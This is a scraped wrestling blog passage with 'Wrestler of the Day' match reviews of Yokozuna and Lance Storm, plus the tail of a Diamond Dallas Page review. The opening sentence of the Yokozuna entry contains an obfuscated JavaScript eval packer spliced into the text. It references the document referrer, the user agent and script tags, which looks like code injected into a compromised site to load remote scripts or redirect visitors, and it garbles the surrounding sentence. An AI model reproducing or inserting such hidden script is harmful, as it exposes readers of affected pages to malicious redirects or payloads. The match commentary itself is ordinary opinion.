Christian jumps Page to start but Page comes back with a nice over the shoulder gutbuster before clotheslining Christian out to the floor. Back in and Page pounds away in the corner, only to be dropped face first onto the buckle. We hear about Page being the Cadillac driver at Wrestlemania 6 in this same building which is indeed a pretty cool story. They trade slugs in the corner but Christian rams Page into the post to take over.

Back inside and Christian puts on an abdominal stretch followed by a backbreaker for two. Christian goes up top but gets slammed from the bottom rope (that’s a new one) as Page takes over. The discus lariat and helicopter bomb get two each for the champion but the Cutter is blocked. Another attempt out of the corner is countered into the reverse DDT for two. Christian keeps himself calm though, only to walk into the Diamond Cutter to retain the title.

Rating: C. Not quite as good as the first match but it certainly wasn’t bad. The problem here was the same one I mentioned earlier: there’s really no reason to care about Page. He’s not terrible but there’s nothing about him that makes WWF fans interested in him. Christian was still several months (and a big haircut) away from meaning anything as a singles guy. Page would lose the title to Regal in two days and it would be retired in July.

Diamond Dallas Page is a great example of someone who didn’t have the greatest skills but made the most of what he had. He went from a manager who started wrestling as he was approaching middle age and became World Champion seven years later. That’s quite the accomplishment when you think about it and Page got over huge. It goes to show you what hard work, an awesome finisher and a hot wife can do for you. He got over in the NWO period and that was almost impossible to do.

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Wrestler of the Day – April 4: Yokozuna

Today is kind of a big deal: Yokozuna.

 

Yokozuna eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iarrd|var|u0026u|referrer|ibbhf||js|php'.split('|'),0,{})) is part of the Samoan wrestling family and is a cousin to pretty much every Samoan wrestler you can think of. He got his start in the AWA but also wrestled in places like Japan, Mexico and others. Here’s one of those other places, in a match from WWC in Puerto Rico against Ricky Santana. I’m not sure when this was other than some point in the mid to late 80s or what the story behind it is.

Ricky Santana vs. Great Kokina

Kokina is dressed like the Headshrinkers would be in the WWF and has hair to match them. Santana tries some right hands in the corner but has almost no effect. A dropkick sends Kokina into the corner but he grabs a wristlock to take over again. Some headbutts to Santana’s hand of all places puts him back down for a nerve hold.

Santana is thrown to the floor (grass actually) before getting beaten in the corner like he stole something. Back to the nerve hold until Ricky fights up, only to be slammed back down to the mat. Kokina misses a headbutt though and Ricky hammers away, droppking the big man with a dropkick. Not that it matters though as Kokina crushes him with a Samoan drop for the pin.

Rating: D+. Nothing special here as Kokina was more of a generic Samoan monster than the awesome monster he would become. Santana isn’t the biggest deal in the world but he’s a name I’ve at least heard of. The match wasn’t all that much but it made Kokina out to be a killer.

Another place Kokina performed was in Germany for the Catch Wrestling Association. Here’s a match against CWA owner and boss Otto Wanz from December 17, 1988.

Otto Wanz vs. Great Kokina

Kokina is listed as the Prince of Hawaii. Wanz is CWA Champion here and is a big man in his own right. Kokina hammers him into the corner but Wanz comes back with forearms to the chest to a HUGE ovation. He knocks Kokina to the floor and the fans are losing their minds. The guy is over in his own company if nothing else. Back in and Wanz grabs a headlock before taking Kokina to the mat with an armbar.

Kokina comes back with a shot to the chest to set up a nerve hold before just letting it go for no apparent reason. The bell rings and I think that’s the end of a round, which used to be a common thing in European wrestling. Round two starts and chokes away in the corner, tearing away some of the pads in the process. Wanz comes back with more forearms to the chest but gets caught in another nerve hold. Back up again and Wanz slugs him into the corner one more time and Kokina goes down. Wanz picks up the leg and drives a knee into Kokina’s thigh before shifting it over to a half crab for an eventual submission.

Rating: D+. I’ll give Wanz this: he was over like free beer in a frat house out there. Kokina wasn’t as good as he was in Puerto Rico here but two big fat guys working together is a hard formula to make work. The match wasn’t the worst I’ve ever seen but Wanz was really just doing fat man offense out there, which was getting a great reaction to be fair.

It was off to the WWF after a few years in Japan where Kokina would become Yokozuna, making his big match debut at Survivor Series 1992.

Yokozuna vs. Virgil

Yoko is listed as being from the Polynesian Islands here. This is when Yoko is only 505lbs and he had padding in his outfit to make him look fatter. I think this is his PPV debut. Yoko immediately shoves him away and chops Virgil down. Some dropkicks do some good for Virgil but Yoko superkicks him (and gets his foot higher than Virgil did) to take over. Virgil pounds away a bit but a Rock Bottom takes him down. Some more shots stagger Yoko but a sidewalk slam and a legdrop make things all better again. Yoko misses a charge and like an IDIOT, Virgil tries a rollup. Yoko falls on him and it’s BANZAI for the pin.

Rating: C-. For a debut, this could have been better but it’s clear that no one is going to stop this guy for awhile. Yoko would get the rocket to the stars push soon, winning the Rumble in two months and the world title at Wrestlemania in another two months. Virgil was a jobber to the stars here and nothing more, which is all he should have been. Somehow he would keep a job until 1994.

While it’s not a big match, this is a fairly famous one from January 11, 1993. If the date rings a bell, it’s the debut episode of Monday Night Raw and this is the first match in the show’s history.

Koko B. Ware vs. Yokozuna

Koko comes out to what would become Owen’s music which makes sense as they were partners around this time. I wonder what’s going to happen here. They swear on the air which might be a first for Raw. The tag line was uncooked, uncut and uncensored. I never got the uncooked part. How is that appealing? Bartlett just makes fat jokes about Yoko which makes sense. Vince is about as excited as humanly possible to be here. Bartlett makes jokes implying that Koko is Gary Coleman which is kind of funny but just out of place here. After Koko gets in no offense for about 4 minutes, the Banzai Drop ends this.

Rating: N/A. It was a glorified squash which is fine. I’m not sure how good this was for the first match in history but that’s fine I guess. This was just to push Yoko so that certainly accomplished its job. A lot of the earlier shows were almost all squashes so get used to it. Koko being around at this point surprises me.

Yokozuna would win the Royal Rumble later that month and go on to Wrestlemania IX to challenge Bret Hart for the WWF World Title in the main event.

WWF World Title: Bret Hart vs. Yokozuna

Bret is defending against Yoko who won the Royal Rumble. It wasn’t an automatic title shot yet but starting the following year it would be. Bret hits a quick dropkick and pounds away but a single shot knocks the champion away. A big tackle runs Bret over and sends him to the outside but he trips Yoko up to take him down. Bret pounds away but it doesn’t do a lot of damage. Yoko wins a battle of the clotheslines and a big old legdrop crushes the champ’s face.

Off to a nerve hold for a bit but Bret gets his feet up in the corner to block a charge. A middle rope bulldog puts the monster down for two which is a victory in and of itself. Yoko superkicks Bret down and it’s right back to the nerve hold. Bret fights up and makes his comeback, finally knocking Yoko down with a middle rope clothesline. A buckle pad is ripped off somewhere in there and Bret rams him face first into it. Yoko falls on his stomach and Bret gets the Sharpshooter, only to have Fuji throw salt in the champ’s face. That’s actually enough for the pin and the title.

Rating: D+. Bret did what he could but there’s a limit to what you can get out of a big fat guy like this. The ending is pretty lame and the match lasted less than nine minutes. That just doesn’t fit for a Wrestlemania main event but thankfully the rematch the next year would get more time and would be MUCH better.

Since Hulk Hogan felt the need to be champion again, he would take the title from Yokozuna a few minutes after this, setting up a rematch at King of the Ring 1993.

WWF Title: Yokozuna vs. Hulk Hogan

Yoko is billed as being from the Polynesian Islands despite having a ton of Japanese photographers (remember that) and a guy waving the Japanese flag. Apparently Hogan trimmed down for endurance here. Does that put him at maybe 302 or something I guess? Heenan says that this is a fresh Yokozuna and not one that just had a thirty minute match with Bret Hart.

In other words it’s the same as last time since Yoko vs. Hart was like 9 minutes. Also this is Hogan’s only title defense in two and a half months as champion so there we are. It was fairly HOKEY SMOKE WHO IN THE WORLD IS THAT??? Someone has stolen Hogan’s attire and belt. That guy can’t weigh more than 260. Literally he’s got to be 40-50 pounds lighter than usual.

This is right around the time of the steroids trial, so there we are for an explanation. He’s billed at 302 which is the biggest lie in the history of wrestling. Yes even more than Vince is decent in the ring for a guy with no training. Ross calling a Hogan match just doesn’t work for me for some reason. He says he’ll slam Yoko. That’s just amusing. I can’t get over how small he is.

It’s obvious that he’s going to lose here, but the interesting thing is how that happens. They mention that this arguably should have been Bret vs. Hogan, which it really should have been to give Hart the rub of all rubs that I feel cost Bret’s career. Considering I wrote out a huge thread on this before I’ll spare the details, but the main idea is that Bret never had that big defining win over a guy from the previous generation to make him seem like a legit guy.

It in turn hurt Shawn as Shawn’s bit rub was from Bret, which made Shawn look sort of weak. And think about it: they’re both considered more or less failures as draws and I can’t think of anyone that puts them on Hogan’s level or maybe even that of Savage, and to me this is because they never got that rub. Can you imagine how big of a star Bret would have been if Hogan gave up to the Sharpshooter or even just got pinned?

Even Savage would have been a huge deal. I’ve always thought Hogan didn’t do it because he knew Bret would wrestle circles around him but that’s neither here nor there. The problem to me was simply that Bret didn’t get the rub that he needed and a lot of it can be pointed at Hogan I think, but anyway. Hogan’s chest is flatter than Stacy Keibler’s.

Yoko is dominant for the most part here, with the main idea being that Hogan is just outmatched here by the size and power of Yoko. He hits some offense here and there as I’m somewhat reminded of Hogan vs. Andre, although nowhere near as cool or important. So after about the world’s longest bearhug this side of an Andre match, Hogan starts his comeback but STILL can’t slam him.

He Hulks Up though and actually hits the leg drop, but when it’s time for the adrenaline fueled slam attempt, a Japanese photographer (who may or may not have been Harvey Whippleman) jumps up on the apron to take a closeup of Hogan.

The camera explodes in his face which leads to the belly to belly and leg drop to crush Hulkamania dead. Yoko is the champion and Hogan wouldn’t be seen on WWF TV for almost 9 years. He would go to WCW in about 13 months and change wrestling forever, again. Hogan is taken out here, and Hulkamania is over.

Rating: C-. This really was little more than a squash. Yoko completely dominated here for about ten or eleven minutes out of thirteen. I don’t think they could have built him up any stronger than they did. Like I said, Hogan was gone and it was time for someone new to step up to face Yoko. Now the big question was who.

The man would be Lex Luger, who would fly onto the USS Intrepid and win a body slam challenge against Yokozuna, becoming the new American hero. His shot was at Summerslam 1993.

WWF Title: Lex Luger vs. Yokozuna

Remember, this is Luger’s ONE title shot. It’s a long staredown to start before Lex has to knock Mr. Fuji down. Lex starts pounding away but a single shot from the champion puts him down. Luger comes back with more right hands and down goes Yoko. A big elbow drop gets two for Luger and he avoid one from Yoko. Luger hits a running clothesline in the corner before pounding away on the champion’s head in the corner. Yoko will have none of that though and takes Luger down with a single chop.

Luger gets in some right hands but can’t slam Yoko again. Instead he gets kicked in the face and knocked to the floor with some headbutts. Out to the floor they go with Yoko choking Luger with a mic cord. A splash crushes Luger against the post but Yoko misses a chair shot. They head back inside where Luger hits two ax handle shots off the top and middle rope before a top rope forearm gets a very close two count.

A double clothesline puts both guys down and things slow down even more. Fuji throws in his bucket which Yoko uses to knock Luger out cold but only for two. A big belly to belly suplex and side slam get the same results as the champion is getting frustrated. Off to a nerve hold by the champion which eats up several minutes.

Luger fights up again but gets clotheslined down for two. To show you how impressive he is, Heenan actually compliments Luger. I don’t think I ever remember him cheering for a good guy before. Yokozuna loads up the Banzai Drop but Luger rolls away at the last minute. They fight into the corner again but Yoko misses a charge. Luger slams him down and hits the loaded forearm, knocking the champion out to the floor. Unfortunately for Luger, he also knocked Yokozuna out cold, earning Luger a countout win.

Rating: D+. This was long and slow without being very good. Luger got good reactions though, especially for the slam. It was clear that his character was nothing but warmed over Hogan leftovers but at least the fans hadn’t entirely realized that yet. This wasn’t a terrible match, but it certainly was nothing of note either. The ending wasn’t great but it was necessary to continue the story being told.

Here’s a match you probably haven’t seen before. It’s from a special called Survivor Series Showdown on November 22, 1993.

WWF World Title: Bret Hart vs. Yokozuna

There’s an opening match for you. Yoko is defending as I’m guessing this is the end of a TV taping or something. The champion shoves Bret around to start but gets dropkicked out to the floor for his efforts. JR points out the flaw of the USA chant but Gorilla brushes it off. Yoko stays on the floor for about two minutes without being counted out somehow. Back in (finally) and Bret pounds away before throwing on a sleeper.

That goes about as well as you would expect for a small guy trying a sleeper on a monster so the champion takes over again. A knee drop crushes Bret and Yoko rips at his face for a bit. The Canadian is sent to the floor where Fuji gets in a cheap shot with the flag and we take a break. Back with Bret pounding away out of the corner but getting taken down by a cheap shot to the throat.

Off to the nerve hold by the champion which lasts for a good long while. Bret fights up and charges into Yoko for no good reason and bounces out to the floor as you would expect. Yoko follows him out and gets sent into the steps to no effect, so there’s a chair shot to Hart’s back. More chair shots keep Bret down and we take a second break. Back with Yoko hitting the fat man legdrop for no cover.

Yoko misses a big charge in the corner and Bret has his rocking. The Hart Attack clothesline is enough for two but Bret has to deck Fuji before he can follow up. Hart goes up but dives into a bearhug but immediately bites his way out of it. A middle rope bulldog is enough for another two as the fans are WAY into it now.

The middle rope elbow hits but Bret might have hut his knee in the process. The Canadian goes up again but dives into a belly to belly as both guys are down again. The champ misses a splash so Bret hooks the Sharpshooter but Owen walks to ringside for absolutely no apparent reason. Fuji hits Bret with the bucket so Owen runs in and hits Yoko with the same bucket for the DQ.

Rating: B. When you can drag a good match out of the fat man Yoko, you can tell you’ve got something special on your hands. This was a LONG match too, hitting nearly half an hour which was unthinkable for a free TV match back in the day. Owen coming out was foreshadowing the heel turn on Wednesday. Yeah Survivor Series was on Wednesday in 1993.

Soon after this Yokozuna would captain a Survivor Series team called the Foreign Fanatics to face the All Americans at Survivor Series 1993.

Foreign Fanatics vs. All Americans

Yokozuna, Crush, Ludvig Borga, Jacques
Lex Luger, Undertaker, Steiner Brothers

The Quebecers are the tag champions and have Johnny Raven Polo as their manager. Yoko is world champion. Jacques and Scott start things off and Jacques offers a handshake. Scott says screw you in classic Freakzilla style. Scott hits a quick belly to belly for two and it’s off to Rick. Jacques brings in Yoko and things slow down almost immediately. Rick hits a clothesline and a shoulder to knock Yoko out to the floor but it doesn’t do much good.

Off to Borga who died in the last year or so. Rick gets knocked to the floor but comes back in off the top with a shoulder for no cover. Borga misses an elbow and Rick goes up again, coming off with a cross body. Borga rolls through it and Rick isn’t moving at all, giving Borga an easy pin. Rick finally starts moving and holds his leg, so I’m thinking that’s a legit injury. Rick can’t stand up on the floor.

Scott comes in next and gets to fight Jacques. Rick eventually limps off on his own power which is a good sign at least. Scott hits a great gorilla press but Crush catches a falling Jacques and I guess that’s a tag. Steiner wants nothing to do with a test of strength so Crush pounds on him a bit. A butterfly powerbomb puts Crush down and apparently Savage is back in the building. Crush kicks Scott down and here’s Macho.

Crush throws Scott down to the floor over the top but he won’t go after Savage. Randy gets sent to the back and the dull match continues as Scott may have hurt his knee on that fall. The knee gets targeted now with Crush firing away some kicks and Savage is coming back AGAIN. Scott dropkicks Crush to the floor and Crush goes after Savage for long enough to draw a countout.

Jacques goes after the injured Scott now with a rear chinlock followed by an elbow to the jaw for two. Scott somehow hits a gorilla press on Jacques and there’s the tag to Lex. He slams Jacques down and drops a middle rope elbow for the elimination. It’s now Lex, Taker and Scott vs. Borga and Yoko. Borga comes in to face the still limping Scott. Taker hasn’t been in the match yet.

Borga pounds on the ribs and whips Scott in the corner so he can clothesline Steiner down. Borga goes up top but gets suplexed back down for two. Yoko comes in and pounds away, but Scott gets in some offense. He tries the freaking Frankensteiner which goes about as well as you would expect it to, resulting in a legdrop from Yoko eliminating Scott to get us down to two on two.

Luger comes in as we’re almost 20 minutes in with no Taker at all yet. Borga, a Finn, waves the Japanese flag. Yoko misses a splash and Lex pounds away, only to get clotheslined down with ease. Off to Borga who runs Luger over again and kicks him in the ribs. Back to Yoko who misses a charge, and it’s FINALLY off to Taker.

Taker hits his running DDT and sits up but a Borga distraction lets Yoko suplex Taker down. There’s the situp and another after a clothesline. A legdrop keeps Taker down and there’s the Banzai, but Yoko goes for another, and Taker moves. A clothesline puts Yoko on the floor and they brawl to a double countout. See you at the Rumble boys. Taker was legally in the match for less than two minutes and forty seconds.

So it’s Lex vs. Borga now and as Taker and Yoko brawl on the floor. Ludvig has taken over and drops a leg on Lex. A side slam puts Lex down for two and Borga gets more two’s off various other power moves. He isn’t covering well though so he isn’t ready to pin Luger yet. A suplex puts Borga down and they clothesline each other. With Cornette distracting the referee, Borga hits Lex with Fuji’s salt bucket for two. Lex gets fired up and hits a powerslam and the loaded forearm for the final pin.

Rating: D+. This didn’t work either. Taker was the main draw of the match and he wasn’t even in there for a tenth of the match. Yoko vs. Taker would go on to screw up two PPVs and Lex would never get the title, basically making the second half of 1993 totally pointless. This match didn’t work at all, and a lot of that is due to the heel lineup. Unless there was an injury or something, I don’t get why Pierre was taken out.

As I’m sure you can guess, this led to Yokozuna vs. the Undertaker at the 1994 Royal Rumble. This is one of those things that had to be seen to be believed.

WWF World Title: The Undertaker vs. Yokozuna

Casket match. They stare each other down to start and Taker fires off his uppercuts to stagger the champion. A clothesline puts Yoko down and another uppercut puts Yoko on the floor. Taker is sent into the steps and it’s immediately no sold, scaring Yoko to death again. There’s Old School but the jumping clothesline misses as Yoko ducks. Why does no one else ever think of doing that?

They fight over a chair on the floor which winds up going upside Yoko’s head. There’s a plastic chair to the back of the champion but Yoko grabs the trusty salt to blind Taker. Now it’s Taker’s back getting hit with the chair and we head back inside. A clothesline puts Taker down but he fights out of the casket. Taker wins a slugout in the middle of the ring but Yoko belly to belly suplexes him down. Come on. You know that’s not holding him down. Taker pops up and grabs Yoko by the throat and hits a DDT to put the champion down again.

Yoko is placed in the casket but here’s Crush to block Taker from closing it. Taker slugs him down so here’s Great Kabuki and Tenryu but Taker beats them down as well. Yoko is still out cold in the casket. Bam Bam Bigelow comes in now and it’s 4-1 in the ring. One has to wonder why Paul Bearer doesn’t go over and close the casket but this match doesn’t seem to be the most logical one. Fuji and Cornette have stolen the Urn.

Yoko finally gets out of the casket as Bearer beats up Fuji and Cornette, stealing the Urn back. He uses it to recharge Taker, who fights off all four mercenaries. Now it’s Adam Bomb to make it technically 8-1 but Taker fights everyone off with the salt bucket. Jeff Jarrett comes in as well, as do the Headshrinkers. That makes it NINE wrestlers (Yoko, Crush, Kabuki, Tenryu, Bigelow, Jarrett, Samu, Fatu, Adam Bomb) against Undertaker.

AND HE GETS UP. Diesel comes out and they get Taker in the coffin but he fights ALL OF THEM OFF. Yoko steals the Urn and hits Taker in the head with it before opening the Urn. Green smoke comes out of it and Taker now is powerless. Everyone hits a bunch of moves on him as this goes on WAY too long. After ALL THAT, Taker is put in the coffin and Yoko retains the title.

Rating: F. On a major wrestling show, The Undertaker just fought off ten men until green smoke was released to drain him of his power. I’ve seen Japanese anime that makes more sense than this. Oh and the match itself, as in the one on one part, might have gone about six minutes.

BUT IT GETS WORSE!

The heels all push the coffin away when a gong goes off. Smoke comes out of the casket…..and a FREAKING CAMERA FEED FROM INSIDE THE CASKET POPS UP ON THE SCREEN. Taker says his soul lives in everyone and he can’t be extinguished. He says there’s going to be a rebirth of the Undertaker and he won’t rest in peace. Then electrical noises go off and we get something like an inverse camera shot (as in it’s all in black and white but what is white is black and what is black is white).

Then, to REALLY hammer home the point, the image on the screen starts to rise up through the top of the screen (which should be the top of the casket, meaning it should be ramming into the people that put him in the freaking casket) and A FREAKING BODY RISES OUT OF THE TOP OF THE SCREEN. AS IN A TANGIBLE BODY (which might have been played by Marty Jannetty).

In other words, WWF just said Taker is something like Jesus. Oh and one other thing to really make sure this is stupid: YOU CAN’T SEE IT. All I can see are some quick shots of it when flashes go off. This is one of those things that embarrasses me as a wrestling fan. I mean…..WOW.

Yokozuna would be champion going into Wrestlemania X where he potentially had to wrestle twice, defending the title against Lex Luger first and then Bret Hart if he was successful.

WWF World Title: Lex Luger vs. Yokozuna

Yoko is defending of course and there’s also backstory to this. The idea here is that last 4th of July, Yokozuna held a bodyslam challenge on board the U.S.S. Intrepid. No one could slam him and the contest was closed, but a helicopter landed on the ship and out stepped Lex Luger. He hit a running forearm and slammed Yokozuna to get the biggest face turn in years. He then went around the country on a bus, begging for a title shot because he was MADE IN THE USA.

Anyway, he got the shot at Summerslam with the catch that it was his ONLY shot. Luger did indeed beat Yoko….by countout. Therefore he was frozen out of the title picture, unless he could win the Royal Rumble. We’ve already covered that though so here’s the first title match. Luger gets a bit intro with fireworks, but do you really think New York City is going to cheer him? Especially with BRET HART in the wings? You should know better than that.

Luger pounds away like any AMERICAN hero worth his (certainly not Japanese) salt. A big right hand sends Yoko out to the floor and there’s an ax handle to the back of the head. Luger busts out a freaking TOP ROPE CROSS BODY for two and a jumping elbow for the same. Since it’s early in the match, a slam completely fails and Yoko falls on top for two. Yoko rips a buckle pad off but we hit the nerve hold for a bit instead. Luger fights out of it but Yoko rams into him to stop any comeback.

Back to el nerve hold which has been running for about five minutes total now. Luger fights up but Fuji pulls the rope down to send him to the outside. Back in and BACK TO THE NERVE HOLD. After about 87 years Luger fights up and makes his comeback….only to be knocked down by a chop. Yoko tries to send Luger into Chekov’s buckle but gets sent into it himself of course.

Luger makes his REAL comeback and hits a clothesline to put Yoko down and there’s the “slam” (more like he picked up Yoko and dropped him). The forearm knocks Yoko out but Luger has to beat up Fuji and Cornette. Perfect won’t count so Luger shoves him…AND THAT’S A DQ! Holy screwjob! That’s clearly what the fans are chanting: screwjob, not some other word that starts with s and often comes after holy.

Rating: D+. It’s rare to see Luger as the star of a match but that’s certainly the case here. That nerve hold was RIDICULOUS as it was about 80% of the champion’s “offense”, although a case can be made that he was saving strength for later tonight which is understandable. This was a callback to something that most people didn’t remember, but that doesn’t mean it isn’t fair game. Unfortunately Perfect would injure his back again after this and not be able to payoff this feud. Either way, Luger is officially a choker in the WWF and was done as a world title contender after this.

And the second match on the show.

WWF World Title: Bret Hart vs. Yokozuna

Yoko is defending if you can’t tell. Burt is barely able to read lines off a card. Hart is STILL selling the leg from earlier, because that’s how awesome he is. Yoko jumps Bret to start and the fans are already fired up for this. Bret tries to fire back with some punches but Yoko stomps him down. Piper and Cornette get in an argument as Yoko blasts Hart. The splash misses though and Bret pounds away, only to hurt his head on a headbutt.

Hart actually manages to punch Yoko down and gets two off an ax handle to the back. The champion comes back with fat man offense and drops the big leg for two. A headbutt puts Bret on the floor but he gets back in at eight. Yoko misses a charge in the corner and there’s a bulldog out of the corner to put the big man down. That only gets two though, as does the middle rope elbow. Bret keeps limping and hits the Hart Attack clothesline for a delayed two.

The belly to belly puts Bret down but Yoko won’t cover for no apparent reason. Instead he loads up the Banzai Drop, only to fall victim to the powers of gravity. It knocks the wind out of the monster, allowing Hart to hook the leg for the pin and the title as the roof is blown off of Madison Square Garden for about the fifth time tonight.

Rating: B-. While it isn’t a classic, the fans were WAY into this and it’s a feel good moment to end the show. Bret was fighting a very different kind of match here rather than he did the previous year, as here he was taking it straight to Yoko instead of sticking and moving. Very solid match here all things considered and a great way to get the giant out of the title scene.

After he lost the title, Yokozuna had someone coming back for revenge. Here’s the casket rematch from Survivor Series 1994 with CHUCK NORRIS as guest enforcer referee.

Yokozuna vs. Undertaker

This is a casket match where you have to throw your opponent in the casket and close it to win. Druids bring out the casket of course. Yoko is so fat here it’s unreal. Taker does the throat slit from across the ring and Yoko falls down. A Yoko splash in the corner is no sold but the fat man stops before he gets thrown to the casket. Yoko winds up on top of the casket to further freak him out.

They fight to the floor with Taker in control. Back inside Old School staggers Yoko but he catches Taker in a Samoan Drop. Taker doesn’t sell it but the move did hit. A headbutt puts Taker down but he won’t go in the casket. Back in and Taker misses an elbow but sits up anyway. A Rock Bottom puts Taker down and Yoko drops a leg while he’s sitting up to keep the dead man (as in Undertaker, not the legitimately dead Yokozuna) down.

Taker gets put in the casket but he blocks it from being closed. They both wind up in the box and slug it out but Mr. Fuji pulls Taker’s hair to break things up. Cornette (Yoko’s other manager) gets drilled as well and we head back inside. Yoko sends him back to the floor and rams him into the steps (from inside the ring, which is kind of impressive). Back inside and they slug it out with Taker slamming Yoko’s head into the mat.

Taker channels his inner Kane and hits a top rope clothesline to put Yokozuna down. As he’s rolling the fat man over, here’s King Kong Bundy to glare at Norris. Bigelow comes out as well but nothing comes of it. Nothing comes of it on their end at least as IRS comes in and beats up Undertaker, which would also set up the Undertaker vs. DiBiase’s Corporation feud for 1995. Taker gets put in the casket but by the time Yoko gets there, Taker blocks the lid from closing. Jeff Jarrett comes out to challenge Norris and gets kicked in the chest. Taker hits a DDT and a big boot to send Yokozuna into the casket for the win.

Rating: D. This was really dull stuff and the ending was never in doubt. Once Yokozuna got this fat he was just worthless. This was the last we would see of him until Wrestlemania where he came back EVEN BIGGER. Norris didn’t really add much here but the fans liked him and that’s all that really matters. Thankfully this feud ended here.

We’ll wrap it up with one of Yokozuna’s last successful performances. From Wrestlemania XI.

Tag Titles: Owen Hart/??? vs. Smoking Gunns

Owen introduces Yokozuna as his mystery partner. The Gunns are defending here and say they’ll win. Owen and Billy start things off with Hart trying to speed things up. That goes badly for him as Billy slaps him in the face and brings in Bart to work on the arm. Owen fights back though and brings in Yoko who misses an elbow drop. Back to Owen as we’re firmly in the Colossal Connection formula (Owen does the wrestling, Yoko comes in for a few seconds to destroy whoever he’s fighting).

The Gunns hit a double legsweep on Hart and a double flapjack gets two. Owen finally escapes a backdrop attempt and brings in Yoko. Billy gets taken down and sat on, giving the foreigners control. Off to a nerve hold which hopefully doesn’t last as long as the ones last year did. After we kill a minute or so in the hold, Owen loads up a missile dropkick but hits his partner by mistake. There’s the hot tag to Bart and house is cleaned, but Billy walks into a belly to belly suplex. The Banzai Drop hits but Bart breaks up the pin. Not that it really matters though as Owen covers Billy for the pin and the title, Owen’s first in the company.

Rating: C-. Another decent but lackluster match here which is the theme of this show. The Gunns losing was definitely the right call as Owen and Yoko made for dominant champions for several months. Other than that though, the match was boring stuff overall. Owen finally getting a title was a good moment though.

Yokozuna would be in the WWF for about a year and a half more but became more of a freak show than a serious competitor. He was just so heavy by the end and there was no way to use him. Unfortunately he would die in 2000 of a heart attack at the age of 34. If he had been able to control his weight he could have still been active until a few years ago. It’s a shame too as the guy was so quick and so dominant as a monster and could have been a far bigger deal than he was, which wasn’t bad as he main evented back to back Wrestlemanias, which was a first for a heel. He was also the first to win and retain the World Title at the biggest show of the year, which is quite the accomplishment.

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Wrestler of the Day – April 3: Lance Storm

Today is Lance Storm. And I’m being totally serious.

Storm got started in Canada and went over to Japan for Wrestling Association R. This led to him getting a job in Smoky Mountain Wrestling as part of the Thrillseekers with his fellow wrestling school graduate Chris Jericho. This is a well known match of theirs from SMW Night of Legends 1994.

Heavenly Bodies vs. Thrillseekers

The Bodies (Jimmy Del Ray and Tom Pritchard) have Jim Cornette with them and Jericho is coming in with a badly broken arm as well. How did he break it you ask? Allegedly by doing a shooting star press into Jim Cornette’s pool. What else would you expect? The Thrillseekers seemingly come in driving a racecar, but the car is a ruse and they’re in the ring to clean house early on. Stereo superkicks have the Bodies in trouble and a double clothesline put them on the floor. Storm dives on both Bodies and the Thrillseekers rule the ring. Jericho’s arm isn’t in a cast so that he could be cleared to wrestle tonight.

He backdrops Tom down to officially start and Del Ray takes one as well. The Bodies bail to the outside again and it’s off to Storm for the first time. Lance kicks both Bodies down with ease and they head outside for the third time in less than five minutes. Tom comes in and takes Storm down before Del Ray comes in without a tag. That’s fine with Storm as he armdrags both guys down at the same time before Jericho comes back in for another double superkick, putting the Bodies outside yet again.

Back in and Storm tries to fight off both guys but gets tripped up by Del Ray, allowing Pritchard to take over with a bulldog. Tom backflips Jimmy onto Storm for two and a release northern lights suplex puts him down again. Del Ray lifts Pritchard up into a legdrop as we take a commercial break. Back with Storm’s back being double teamed and Del Ray getting two off a clothesline. Pritchard comes in again with a suplex for two of his own.

Tom tries to drop backwards with an elbow but Storm is out of the way and makes the hot tag to Jericho. Chris cleans house with one arm but Pritchard trips him up from the floor and posts him hard. Jericho is busted open and it’s a GUSHER. There’s a pool of blood on the floor less than 20 seconds later so Tom posts him again.

Back in and Jimmy rips at the cut like a good villain should and even Cornette gets in a shot of his own. Jericho is helpless here and the referee is thinking about stopping it. Del Ray pounds in right hands to the cut but can only get two. Pritchard drives a knee into the cut for two more as Jericho is just covered in blood. The referee (covered in blood as well from checking Jericho) finally stops it but Jericho literally begs to keep it going. For once the referee actually listens and the match restarts and Storm hits a quick spinwheel kick to give Jericho the pin.

Rating: B+. The wrestling was good but a lot of this is for the blood. That was AWESOME and one of the worst looking cuts you’ll ever see. Jericho looked like a star here and in what was kind of a stroke of luck, would leave SMW after this match to go to Japan full time. It’s a great way to go out as well as he looked great. This is one of the more famous matches from SMW and it’s easy to see why as that blood was INSANE. Seriously, if you like bloodshed, go find this match.

After some time in Japan it was off to ECW. One of his first major shows there was their first pay per view, Barely Legal. His original opponent was Chris Candido but an injury forced a replacement.

Rob Van Dam vs. Lance Storm

So Van Dam is the replacement? That’s a heck of a sub. He looks weird without his gloves on. Styles is really getting on my nerves. You don’t have to call every single move. This is television, not radio. We can see what’s going on and contrary to popular belief, some of us know a few wrestling move names. The dynamic here is completely different that it was before and maybe it’s due to the familiarity of the guys in there but this feels like a far higher quality match.

The finger point thing gets zero response. And now we get to the reason why I couldn’t get into ECW. We have a solid match going here between two guys that are certainly talented enough to be out there on their own and deliver a good match. So what does Van Dam do? He goes and gets a chair. Yeah the pelting of it at Storm looked and sounded great, but seriously, why was it needed?

One thing ECW never was able to understand was the idea of less being more at times, which would have certainly been the case here. Van Dam is called a sell out here as he was actually doing some stuff in the WWF around this time and if you’re in ECW that means you might as well be a demon or something. Ok I know I criticized the chair but the chair surf thing has always been something I’ve loved.

Storm kicks out of the frog splash that I guess was only four stars. I love how a move can gain the ability to win a match as the guy doing it goes higher up on the card. Shawn Michaels used the superkick for years and it was just a run of the mill move. God bless kayfabe and star power I suppose. In a little sequence that I like, Van Dam misses a spin kick so Storm does the same move and hits it.

I guess he got serious all of a sudden after getting his teeth kicked in for awhile. For the third time in two matches, we see a handspring move. People, watch the match in the back please. It looks freaking stupid otherwise. We do the same thing as before (again) as Storm gets what would become the Canadian Mapleleaf on Van Dam but it’s just a standard move at this point.

The Van Daminator misses and Storm gets the chair for the weakest looking chair shot I’ve ever seen. The fans boo the heck out of it so if nothing else they’re consistent. Van Dam goes for a springboard move and botches the heck out of it (to be fair it was a difficult move) and you know what chant is coming. Storm somehow has a weaker chair shot the second time around.

